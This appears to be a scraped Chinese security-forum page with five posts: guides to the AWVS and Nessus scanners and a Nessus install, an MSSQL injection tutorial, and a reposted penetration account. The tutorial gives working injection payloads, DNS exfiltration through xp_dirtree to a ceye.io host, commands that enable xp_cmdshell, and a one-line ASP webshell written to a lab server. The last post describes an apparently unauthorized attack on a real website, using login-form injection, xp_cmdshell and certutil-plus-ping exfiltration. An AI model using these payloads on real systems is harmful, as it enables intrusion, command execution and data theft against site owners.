AWVS 11使用

flaray 发表了文章 • 0 个评论 • 186 次浏览 • 2019-07-11 17:57 • 来自相关话题

0x01:Dashboard:仪表盘主页面。显示扫描结果和漏洞类型




0X02:Targets:目标。
点击Add Target添加目标。




0x03:General:一般扫描。






基础设置完成点击"scan"开始扫描目标网站。




























使用登录序列记录器得到了登录凭证












基础设置完成点击"scan"开始扫描目标网站




扫描类型有:完全扫描、高风险漏洞扫描、XSS扫描、SQL注入扫描、弱口令扫描等。
报告生成类型:受影响人、开发人员、执行人员、快报和一些专业报告如CWE 2011报告。
然后等待扫描结果生成。
0x04:Vulnerabilities:漏洞
包含不同分类的漏洞和生成报告






0X05:Reports 报告
报告的生成与导出。注:导出的报告是英文的。

  查看全部
0x01:Dashboard:仪表盘主页面。显示扫描结果和漏洞类型
045ccf055f52af7da776d28d15a08c5d_副本.png

0X02:Targets:目标。
点击Add Target添加目标。
Image.png

0x03:General:一般扫描。

TIM截图20190715101025.png


基础设置完成点击"scan"开始扫描目标网站。
Image.png

Image.png


20180110232433713599_副本.png


20180110232433717505_副本.png


20180110232433718482_副本.png


20180110232433720435.png

使用登录序列记录器得到了登录凭证
Image.png

812dfb006a12760c7e3c292d02ef3278_副本.png

Image.png

基础设置完成点击"scan"开始扫描目标网站
Image.png

扫描类型有:完全扫描、高风险漏洞扫描、XSS扫描、SQL注入扫描、弱口令扫描等。
报告生成类型:受影响人、开发人员、执行人员、快报和一些专业报告如CWE 2011报告。
然后等待扫描结果生成。
0x04:Vulnerabilities:漏洞
包含不同分类的漏洞和生成报告

4271e2d0e4cf97d8ae6e4a75e8bae4a6_副本.png


0X05:Reports 报告
报告的生成与导出。注:导出的报告是英文的。

 

SQL server 注入小结

llpkk 发表了文章 • 0 个评论 • 307 次浏览 • 2019-07-10 16:58 • 来自相关话题

1.SQL server 的基础知识部分
   (1)了解SQL server 系统库
   (2)学习master库中的三个视图
   (3)注释符以及各种信息探测
   (4)如何利用top进行单行查询
2.UNION 联合查询注入
3.SQL server 的报错注入
    (1)收集各种bypass
    (2)having语法注入
4.SQL server 盲注 
    (1)正常的布尔盲注或时间盲注
   (2)DNSlog注入---首选
5.开启xp_cmdshell到获取webshell

Tip:测试环境为win server 2008 
中间件:iis7.5         数据库版本:SQL server 2008 
 
------------------------------------------------------------
0x00 SQL server 的基础知识部分
 
1.系统库的简介
Sqlserver数据库有四个系统数据库,分别是master,model,msdb,tempdb。我们最经常使用到的时master库,它与MySQL中的information_schema库有几分相似,都存储了所有数据库库名(sysdatabases),表名(sysobjects),字段名(syscolumns)。
而我们在注入的过程当中就要用的master库中的这三个视图,无论是联合查询注入还是盲注与DNSlog注入都离不开这三个视图表。

系统库简述:
master 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。model SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础msdb 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。tempdb 它为临时表和其他临时工作提供了一个存储区。2.三个视图的简单使用(sysdatabases,sysobjects,syscolumns)(1)查询所有的数据库名select *from master..sysyatabases


这条语句会显示出数据库的所有信息,其中我们应用到的有name和dbid这俩个字段。而我们通常只需要知道名称即可,所以用到了如下语句:select name from master..sysdatabases


 (2)查询数据库中所有的表名select name from master..sysobjects where Xtypee = 'x'


(3)查询表中所有的列名select * from databases..table例如:select * from test..test


(4)查询字段select * from test..syscolumns where xtype=167


Tip:在对sysobjects和syscolumns使用的时候我们需要增加一个xtype作为限制条件,而在两个视图当中也都有着不同的含义。具体参照:https://www.cnblogs.com/zhaomengmeng/p/4933828.html 3.注释符以及各种信息探测(1)注释风格/*--    常用;(2)空白格字符(多用来绕过WAF)01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,1415,16,17,18,19,1A,1B,1C,1D,1E,1F,20/**/(3)常用运算符号+ 加法运算-   减法运算* 乘法运算/           除法运算& 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0| 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0(4)基础信息探测@@VERSION,@@SERVERNAME,@@SERVICENAME;--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008--MSSQLSERVERUSER,CURRENT_USER,SESSION_USER,SYSTEM_USER;--dbo--dbo--dbo--saUSER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();--dbo--wyb--46530--saUSER_ID(),USER_SID();--1--<01>ORIGINAL_LOGIN();--sa   4.利用top进行限制查询在mysql注入中我们会遇到一行不能够显示多列的情况,解决的方法是利用limit m,n进行控制,将数据逐行输出。而在SQL server中也有这样的情况(尤其是利用DNSlog注入时),我们就可以用如下两种方法做到与limit m,n 同样的效果①:在查询数据库名称时利用dbid进行限制查询由于dbid是系统数据库所特有的,所有可以依次从1到n注出所有的数据库名


②:在查询表和字段时利用top语法进行查询在sysobjects和syscolumns视图当拥有大量的数据,如果依据id值进行限制会非常的繁琐,浪费时间。所以可以用到如下sql查询语法:取第m条到第n条记录 select top (n-m+1) id from tablename  where id not in (    select top m-1 id from tablename  )具体利用:


这样我们在DNSlog注入时才能拼接完整的payload   0x01 UNION SELECT 联合查询注入SQL server中的联合查询注入和MySQL中的联合查询注入非常相似,但是也有不同的地方。相同点是都必须要有回显位,并且要与列数相同。不同的是MySQL占位符一般用1,2,3,4数字,而SQL server中要用到null作为占位符。因为如果用数字的话会牵扯到隐式转化的问题而导致无法有正常的回显。联合查询注入过程:首先利用 order by 语句查询出有几列





查询出有4列后进行联合查询注入 ,首先查出所有数据库名。


 之后爆出test库下的所有表


 爆出message表下的所有字段


 之后可以任意的查询字段值了 0x02 SQL server 的报错注入报错注入相对简单很多,但前提是网站管理员打开了报错界面的详细信息,而对于粗心的管理员的话就非常有可能忘记关闭了。在报错注入中我们最重要的是收集一些bypass,如果碰到WAF也可以尝试绕过. http://zone.secevery.com/article/1055这是上次在社区发的mssql报错注入,这里就不再赘述。 利用having语法注入如果页面开启了报错页面的详细信息,我们也可以用having语法直接爆出列名,利用手法是在每一次爆出列名后再加上爆出的列名一直进行。 


爆出列名id,我们利用group by构造出如下语句爆出下一个列名


之后依次爆出所有的列名之后页面就会返回正常页面


 0x03 SQL server 盲注大多数的站很少会开启报错页面,盲注是比较常见的类型。基本的盲注分为布尔型盲注和时间盲注,但这两种注入都非常浪费时间,解决盲注时间问题的方法无非是写脚本或者利用DNSlog,而DNSlog注入的方式会大大减少注入的时间,所以也是首选的方法。在sql server中布尔盲注也没有太多的手法,依然是分割字符串并用ascii函数和二分法进行比较依次得出整个字符串。而用到的语句也是在0x00中写到的最基本的三个视图的基本利用。1.普通盲注payload:and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109其中的select top 1 name from master.dbo.sysdatabases 就是我们要查询的内容并且进行分割​,方法很直白,不进行演示。2.DNSlog注入DNSlog注入的基本原理是将查询出来的字符进行拼接之后进行访问xxxxx.ceye.io及其子域名,产生出DNSlog日志,通过查看日志我们就可以看到我们所查询出来的内容。而在这时,我们学习的单行查询就很重要了,因为在拼接URL的时候,只能拼接一个单词作为子域名进行访问,如果是多个的话就不会产生DNS日志。这里有一个知道创宇的DNS平台:http://ceye.io SQL server 的DNSlog注入语句;use flag;declare @a char(128);set @a='\\'%2b(select top 1 * from tt_tmp)%2b'.py88oq.ceye.io';exec master..xp_dirtree @a;演示:查出第一个数据库的库名为master





 然后我们利用sysdatabases的dbid字段查询处dbid=5时的用户创建的数据库为testhttp://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=5)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--


查出test的各个表名http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20top%201%20name%20from%20test..sysobjects%20where%20xtype=%27U%27)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--


可以看出表message,test,tt_tmp


 DNSlog注入还可以对MySQL,oracle数据库还有一些CMS都有利用,非常强大。具体的注入细节问题访问:https://www.jianshu.com/p/ba52cf6e47db 0x04 开启xp_cmdshell获取webshellxp_cmdshell在SQL server 2005版本以上是默认关闭的,我们需要手动打开它,但在此之前我们需要进行第一步:判断是否存在组件xp_cmdshell;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'如果延迟5s后返回正常页面的话则判断存在组件xp_cmdshell。如果删除了xp_cmdshell组件的话可以用下面的命令恢复恢复/删除 xp_cmdshellexec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'exec sp_dropextendedproc 'xplog70.dll'开启xp_cmdshell# 关闭xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;# 启用xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;成功开启xp_cmdshell之后,我们要进行的最重要的一步就是找到网站的根路径,这里也是较难的一点。下面有两种方法:找到报错页面得到物理路径,如404页面。查找网站文件并把路径写入到临时表当中
 
1.对于一些粗心的网站管理员可能404等错误页面是iis默认的报错页面,而这个报错页面就会暴露出网站的物理路径,此时我们就可以写一个shell文件进去。






2.在大佬博客上看到的找物理路径的方法是找到一个网站文件,将其路径写入临时表后再使用sqlmap跑出来。具体思路如下:
在数据库tempdb创建临时表temp​;use test;create table tt_tmp (tmp1 varchar(1000));创建完成之后使用sqlmap可以看到成功创建表temp





 
Sqlmap命令: python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test --tables​




 
之后我们将char.asp文件的路径写入到该字段当中;use test;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b c:\char.asp';




 
(加粗【c:\char.asp】部分的c盘是测试出来的,总共就C,D,E,F几个盘,依次试一试就能成功)

这个语句回车之后的响应时间会稍微长一点,是因为将很数据插入到表中需要一定时间

Sqlmap命令:python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test -T tt_tmp -C tmp1 --dump




 
这样我们成功的查询到了网站的根路径,随后我们尝试写入一句话;exec master..xp_cmdshell 'echo ^<script language=vbs runat=server^>eval(request("c"))^</script^> > c:\\inetpub\\wwwroot\\shell.asp';执行之后返回正常界面,我们访问192.168.10.19/shell.asp观察






返回状态码200,asp内容已经被成功解析,查看靶机是否被成功写入。






成功写入一句话木马,尝试才到连接










成功获取webshell
 
0x05 总结
这次总结的sql server 注入的过程中踩过很多的坑,并且再讲的过程中老师也给出了答案并且给了很多的补充和新的想法。在利用系统视图查看用户数据库信息时也可以通过别的视图更加方便的查找到数据。
查看表名:select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0查看字段名:select top 1 COLUMN_NAME from 【数据库名称】.information_schema.columns where TABLE_NAME='【表名称】'
总结一遍下来感觉自己的知识还需要更加巩固,学习的东西还有很多,而我也会在采坑的过程中成长。
 
参考文献:
http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell/
微信公众号---安全祖师爷
https://www.jianshu.com/p/ba52cf6e47db
https://www.cnblogs.com/zhaomengmeng/p/4933828.html
 
 
 

 
  查看全部
1.SQL server 的基础知识部分
   (1)了解SQL server 系统库
   (2)学习master库中的三个视图
   (3)注释符以及各种信息探测
   (4)如何利用top进行单行查询

2.UNION 联合查询注入
3.SQL server 的报错注入
    (1)收集各种bypass
    (2)having语法注入

4.SQL server 盲注 
    (1)正常的布尔盲注或时间盲注
   (2)DNSlog注入---首选

5.开启xp_cmdshell到获取webshell

Tip:测试环境为win server 2008 
中间件:iis7.5         数据库版本:SQL server 2008 

 
------------------------------------------------------------
0x00 SQL server 的基础知识部分
 
1.系统库的简介
Sqlserver数据库有四个系统数据库,分别是master,model,msdb,tempdb。我们最经常使用到的时master库,它与MySQL中的information_schema库有几分相似,都存储了所有数据库库名(sysdatabases),表名(sysobjects),字段名(syscolumns)。
而我们在注入的过程当中就要用的master库中的这三个视图,无论是联合查询注入还是盲注与DNSlog注入都离不开这三个视图表。


系统库简述:
  • master 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
  • model SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
  • msdb 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
  • tempdb 它为临时表和其他临时工作提供了一个存储区。
2.三个视图的简单使用(sysdatabases,sysobjects,syscolumns)(1)查询所有的数据库名
select *from master..sysyatabases
图片1.png
这条语句会显示出数据库的所有信息,其中我们应用到的有name和dbid这俩个字段。而我们通常只需要知道名称即可,所以用到了如下语句:
select name from master..sysdatabases
图片2.png
 (2)查询数据库中所有的表名
select name from master..sysobjects where Xtypee = 'x' 
图片3.png
(3)查询表中所有的列名
select * from databases..table
例如:select * from test..test
图片4.png
(4)查询字段
select * from test..syscolumns where xtype=167
图片4.png
Tip:在对sysobjects和syscolumns使用的时候我们需要增加一个xtype作为限制条件,而在两个视图当中也都有着不同的含义。具体参照:https://www.cnblogs.com/zhaomengmeng/p/4933828.html 3.注释符以及各种信息探测(1)注释风格
  • /*
  • --    常用
  • ;
(2)空白格字符(多用来绕过WAF)
  • 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,1415,16,17,18,19,1A,1B,1C,1D,1E,1F,20
  • /**/
(3)常用运算符号
  • + 加法运算
  • -   减法运算
  • * 乘法运算
  • /           除法运算
  • & 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0
  • | 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0
  • ^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0
(4)基础信息探测
@@VERSION,@@SERVERNAME,@@SERVICENAME;--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008--MSSQLSERVERUSER,CURRENT_USER,SESSION_USER,SYSTEM_USER;--dbo--dbo--dbo--saUSER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();--dbo--wyb--46530--saUSER_ID(),USER_SID();--1--<01>ORIGINAL_LOGIN();--sa
   4.利用top进行限制查询在mysql注入中我们会遇到一行不能够显示多列的情况,解决的方法是利用limit m,n进行控制,将数据逐行输出。而在SQL server中也有这样的情况(尤其是利用DNSlog注入时),我们就可以用如下两种方法做到与limit m,n 同样的效果①:在查询数据库名称时利用dbid进行限制查询由于dbid是系统数据库所特有的,所有可以依次从1到n注出所有的数据库名
图片6.png
②:在查询表和字段时利用top语法进行查询在sysobjects和syscolumns视图当拥有大量的数据,如果依据id值进行限制会非常的繁琐,浪费时间。所以可以用到如下sql查询语法:取第m条到第n条记录 
select top (n-m+1) id from tablename  where id not in (    select top m-1 id from tablename  )具体利用:
图片7.png
这样我们在DNSlog注入时才能拼接完整的payload   0x01 UNION SELECT 联合查询注入SQL server中的联合查询注入和MySQL中的联合查询注入非常相似,但是也有不同的地方。相同点是都必须要有回显位,并且要与列数相同。不同的是MySQL占位符一般用1,2,3,4数字,而SQL server中要用到null作为占位符。因为如果用数字的话会牵扯到隐式转化的问题而导致无法有正常的回显。联合查询注入过程:首先利用 order by 语句查询出有几列
图片8.png
图片9.png
查询出有4列后进行联合查询注入 ,首先查出所有数据库名。
图片10.png
 之后爆出test库下的所有表
图片11.png
 爆出message表下的所有字段
图片12.png
 之后可以任意的查询字段值了 0x02 SQL server 的报错注入报错注入相对简单很多,但前提是网站管理员打开了报错界面的详细信息,而对于粗心的管理员的话就非常有可能忘记关闭了。在报错注入中我们最重要的是收集一些bypass,如果碰到WAF也可以尝试绕过. http://zone.secevery.com/article/1055这是上次在社区发的mssql报错注入,这里就不再赘述。 利用having语法注入如果页面开启了报错页面的详细信息,我们也可以用having语法直接爆出列名,利用手法是在每一次爆出列名后再加上爆出的列名一直进行。 
图片13.png
爆出列名id,我们利用group by构造出如下语句爆出下一个列名
图片14.png
之后依次爆出所有的列名之后页面就会返回正常页面
图片15.png
 0x03 SQL server 盲注大多数的站很少会开启报错页面,盲注是比较常见的类型。基本的盲注分为布尔型盲注和时间盲注,但这两种注入都非常浪费时间,解决盲注时间问题的方法无非是写脚本或者利用DNSlog,而DNSlog注入的方式会大大减少注入的时间,所以也是首选的方法。在sql server中布尔盲注也没有太多的手法,依然是分割字符串并用ascii函数和二分法进行比较依次得出整个字符串。而用到的语句也是在0x00中写到的最基本的三个视图的基本利用。1.普通盲注payload:
and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109
其中的select top 1 name from master.dbo.sysdatabases 就是我们要查询的内容并且进行分割​,方法很直白,不进行演示。2.DNSlog注入DNSlog注入的基本原理是将查询出来的字符进行拼接之后进行访问xxxxx.ceye.io及其子域名,产生出DNSlog日志,通过查看日志我们就可以看到我们所查询出来的内容。而在这时,我们学习的单行查询就很重要了,因为在拼接URL的时候,只能拼接一个单词作为子域名进行访问,如果是多个的话就不会产生DNS日志。这里有一个知道创宇的DNS平台:http://ceye.io SQL server 的DNSlog注入语句
;use flag;declare @a char(128);set @a='\\'%2b(select top 1 * from tt_tmp)%2b'.py88oq.ceye.io';exec master..xp_dirtree @a;
演示:查出第一个数据库的库名为master
图片16.png
图片17.png
 然后我们利用sysdatabases的dbid字段查询处dbid=5时的用户创建的数据库为test
http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=5)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--
图片18.png
查出test的各个表名
http://192.168.10.19/char.asp?id=1%27;declare%20@a%20char(128);set%20@a=%27\\%27%2b(select%20top%201%20name%20from%20test..sysobjects%20where%20xtype=%27U%27)%2b%27.py88oq.ceye.io\abc%27;exec%20master..xp_dirtree%20@a;--
图片19.png
可以看出表message,test,tt_tmp
图片20.png
 DNSlog注入还可以对MySQL,oracle数据库还有一些CMS都有利用,非常强大。具体的注入细节问题访问:https://www.jianshu.com/p/ba52cf6e47db 0x04 开启xp_cmdshell获取webshellxp_cmdshell在SQL server 2005版本以上是默认关闭的,我们需要手动打开它,但在此之前我们需要进行第一步:判断是否存在组件xp_cmdshell
;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'
如果延迟5s后返回正常页面的话则判断存在组件xp_cmdshell。如果删除了xp_cmdshell组件的话可以用下面的命令恢复恢复/删除 xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'exec sp_dropextendedproc 'xplog70.dll'
开启xp_cmdshell# 关闭xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;# 启用xp_cmdshellEXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
成功开启xp_cmdshell之后,我们要进行的最重要的一步就是找到网站的根路径,这里也是较难的一点。下面有两种方法:
  • 找到报错页面得到物理路径,如404页面。
  • 查找网站文件并把路径写入到临时表当中

 
1.对于一些粗心的网站管理员可能404等错误页面是iis默认的报错页面,而这个报错页面就会暴露出网站的物理路径,此时我们就可以写一个shell文件进去。

图片21.png


2.在大佬博客上看到的找物理路径的方法是找到一个网站文件,将其路径写入临时表后再使用sqlmap跑出来。具体思路如下:
在数据库tempdb创建临时表temp​
;use test;create table tt_tmp (tmp1 varchar(1000));
创建完成之后使用sqlmap可以看到成功创建表temp

图片22.png

 
Sqlmap命令: 
python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test --tables​

图片23.png

 
之后我们将char.asp文件的路径写入到该字段当中
;use test;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b c:\char.asp';

图片24.png

 
(加粗【c:\char.asp】部分的c盘是测试出来的,总共就C,D,E,F几个盘,依次试一试就能成功)

这个语句回车之后的响应时间会稍微长一点,是因为将很数据插入到表中需要一定时间


Sqlmap命令:
python27 sqlmap.py -u "192.168.10.19/char.asp?id=1" -D test -T tt_tmp -C tmp1 --dump

图片25.png

 
这样我们成功的查询到了网站的根路径,随后我们尝试写入一句话
;exec master..xp_cmdshell 'echo ^<script language=vbs runat=server^>eval(request("c"))^</script^> > c:\\inetpub\\wwwroot\\shell.asp';
执行之后返回正常界面,我们访问192.168.10.19/shell.asp观察

图片26.png


返回状态码200,asp内容已经被成功解析,查看靶机是否被成功写入。

图片27.png


成功写入一句话木马,尝试才到连接

图片28.png


图片29.png

成功获取webshell
 
0x05 总结
这次总结的sql server 注入的过程中踩过很多的坑,并且再讲的过程中老师也给出了答案并且给了很多的补充和新的想法。在利用系统视图查看用户数据库信息时也可以通过别的视图更加方便的查找到数据。
查看表名:
select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0
查看字段名:
select top 1 COLUMN_NAME from 【数据库名称】.information_schema.columns where TABLE_NAME='【表名称】'

总结一遍下来感觉自己的知识还需要更加巩固,学习的东西还有很多,而我也会在采坑的过程中成长。
 
参考文献:
http://wyb0.com/posts/2019/sql-server-from-injection-to-getshell/
微信公众号---安全祖师爷
https://www.jianshu.com/p/ba52cf6e47db
https://www.cnblogs.com/zhaomengmeng/p/4933828.html
 
 
 

 
 

nessus的扫描及配置说明

gu 发表了文章 • 0 个评论 • 188 次浏览 • 2019-07-10 16:33 • 来自相关话题

0x00 建立扫描任务点击New Scan后选择Advanced Scan 进入配置选项







输入项目名称,ip地址




然后点击Plugins,在这里所有的插件都是开启的,点击对应的插件添加



添加之后点击save,这样一个扫描任务就创建成功了 




点击开始就可以开始扫描了 




点击该项目就可以查看扫描的详细信息




扫描结束后在信息列表界面选择ruport-html,可以以html的形式导出报告








下载完成之后打开就是扫描的报告信息




0x01DISCOVERY配置介绍
Host Discovery 主机发现
在建立扫描任务选择Advanced Scan之后的配置需要做一下说明









 
Port Scanning 端口扫描









 
Service Discovery 端口服务探测




0x02 ASSESSMENT 配置介绍
Genreral 安全评估的一般配置




Brutr Force 风险项




Web Application web应用扫描












    Windows 设置




0x03Credentials 设置登录扫描
​以windowss为例,开启3389端口,然后再Credentials中选择host-windows,输入用户名密码和ip然后点击保存




0x04 参考文章
Nessus8.0.1使用教程 - guo_yan_gy的博客 - CSDN博客 
NESSUS的高级扫描方法 - FreeBuf专栏·潜心学习的小白帽 
nessus自定义扫描策略 - FreeBuf专栏·潜心学习的小白帽 查看全部
0x00 建立扫描任务点击New Scan后选择Advanced Scan 进入配置选项
Image.png
Image.png

输入项目名称,ip地址
Image.png

然后点击Plugins,在这里所有的插件都是开启的,点击对应的插件添加
Image.png
添加之后点击save,这样一个扫描任务就创建成功了 
Image.png

点击开始就可以开始扫描了 
Image.png

点击该项目就可以查看扫描的详细信息
Image.png

扫描结束后在信息列表界面选择ruport-html,可以以html的形式导出报告
Image.png

Image.png

下载完成之后打开就是扫描的报告信息
Image.png

0x01DISCOVERY配置介绍
Host Discovery 主机发现
在建立扫描任务选择Advanced Scan之后的配置需要做一下说明

Image.png

Image.png

 
Port Scanning 端口扫描

Image.png

Image.png

 
Service Discovery 端口服务探测
Image.png

0x02 ASSESSMENT 配置介绍
Genreral 安全评估的一般配置
Image.png

Brutr Force 风险项
Image.png

Web Application web应用扫描
Image.png

Image.png

Image.png

    Windows 设置
Image.png

0x03Credentials 设置登录扫描
​以windowss为例,开启3389端口,然后再Credentials中选择host-windows,输入用户名密码和ip然后点击保存
Image.png

0x04 参考文章
Nessus8.0.1使用教程 - guo_yan_gy的博客 - CSDN博客 
NESSUS的高级扫描方法 - FreeBuf专栏·潜心学习的小白帽 
nessus自定义扫描策略 - FreeBuf专栏·潜心学习的小白帽

linux下nessus的安装

gu 发表了文章 • 0 个评论 • 132 次浏览 • 2019-07-09 16:30 • 来自相关话题

0x00下载安装包
在官网上下载对应系统版本的安装包即可,我用的是ubantu系统
nessus下载地址:https://www.tenable.com/downloads/nessus





0x01安装安装包
下载的安装包是deb文件,用解压deb文件的命令直接解压就可以
sudo dpkg -i 文件名




0x02启动nessus服务
执行启动命令启动nessus服务
service nessusd start
接下来访问https://虚拟机ip:8834就可以登录web页面





在这里需要选择第一个





跳转页面之后填入相应信息





点击email之后激活码会发送到邮箱中,然后点击skip
跳转页面后填入激活码点击continue





下一个页面就是注册用户的界面




填完点击下一步就会自动安装插件,但是会卡在这里报错





0x03安装插件
上面已经安装成功了,由于我自己下载离线插件安装包没有成功,最后跳转下载得时候不知道为什么拒绝服务。在这里想试试的小伙伴可以读下https://blog.csdn.net/qq_35983015/article/details/79325463这篇文章讲的很详细
我自己则是找的安装包直接拖进虚拟机安装的插件
在这里需要注意的是安装包一定要放在/opt/nessus/sbin目录下,并且命令也是在该目录下执行的将插件安装包放入上面的目录下后执行命令即可安装插件./nessuscli update all-2.0.tar.gz(插件包名)




安装完成需要重启下nessus
./nessusd




这里要注意的是安装插件完成后并不会跳转到命令行,按ctrl+c后才能回到命令行
最后附上产检安装完成后的截图





  查看全部
0x00下载安装包
在官网上下载对应系统版本的安装包即可,我用的是ubantu系统
nessus下载地址:https://www.tenable.com/downloads/nessus

Image.png

0x01安装安装包
下载的安装包是deb文件,用解压deb文件的命令直接解压就可以
sudo dpkg -i 文件名

Image.png

0x02启动nessus服务
执行启动命令启动nessus服务
service nessusd start

接下来访问https://虚拟机ip:8834就可以登录web页面

Image.png

在这里需要选择第一个

Image.png

跳转页面之后填入相应信息

Image.png

点击email之后激活码会发送到邮箱中,然后点击skip
跳转页面后填入激活码点击continue

Image.png

下一个页面就是注册用户的界面
Image.png

填完点击下一步就会自动安装插件,但是会卡在这里报错

Image.png

0x03安装插件
上面已经安装成功了,由于我自己下载离线插件安装包没有成功,最后跳转下载得时候不知道为什么拒绝服务。在这里想试试的小伙伴可以读下https://blog.csdn.net/qq_35983015/article/details/79325463这篇文章讲的很详细
我自己则是找的安装包直接拖进虚拟机安装的插件
在这里需要注意的是安装包一定要放在/opt/nessus/sbin目录下,并且命令也是在该目录下执行的将插件安装包放入上面的目录下后执行命令即可安装插件
./nessuscli update all-2.0.tar.gz(插件包名)

Image.png

安装完成需要重启下nessus
./nessusd

Image.png

这里要注意的是安装插件完成后并不会跳转到命令行,按ctrl+c后才能回到命令行
最后附上产检安装完成后的截图

Image.png

 

记一次渗透实战【转】

wuyou 发表了文章 • 0 个评论 • 256 次浏览 • 2019-05-22 23:47 • 来自相关话题

信息收集
用dirsearch扫了一波目录没有发现什么东西

直接用主站域名解析的ip访问发现主站是挂有cdn的

subDomainsBrute 扫描子域名

其中一个子域没挂CDN,由此找到网站的真实ip

得到真实ip后nmap扫描发现8099端口有个未知应用

访问发现是个WEB服务,一个登陆界面漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能

遂把目光放在了nmap扫出的8099端口的web服务

常规测试admin/admin,提示密码错误

l3yx/xxxx,账号不存在

那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!

于是很熟练的构造"万能密码",admin/x' or 'x'='x--

然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息


账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常

由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


执行系统命令

exec master..xp_cmdshell "whoami"

这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

命令执行结果DNS带外
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
最后的paylaod

exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
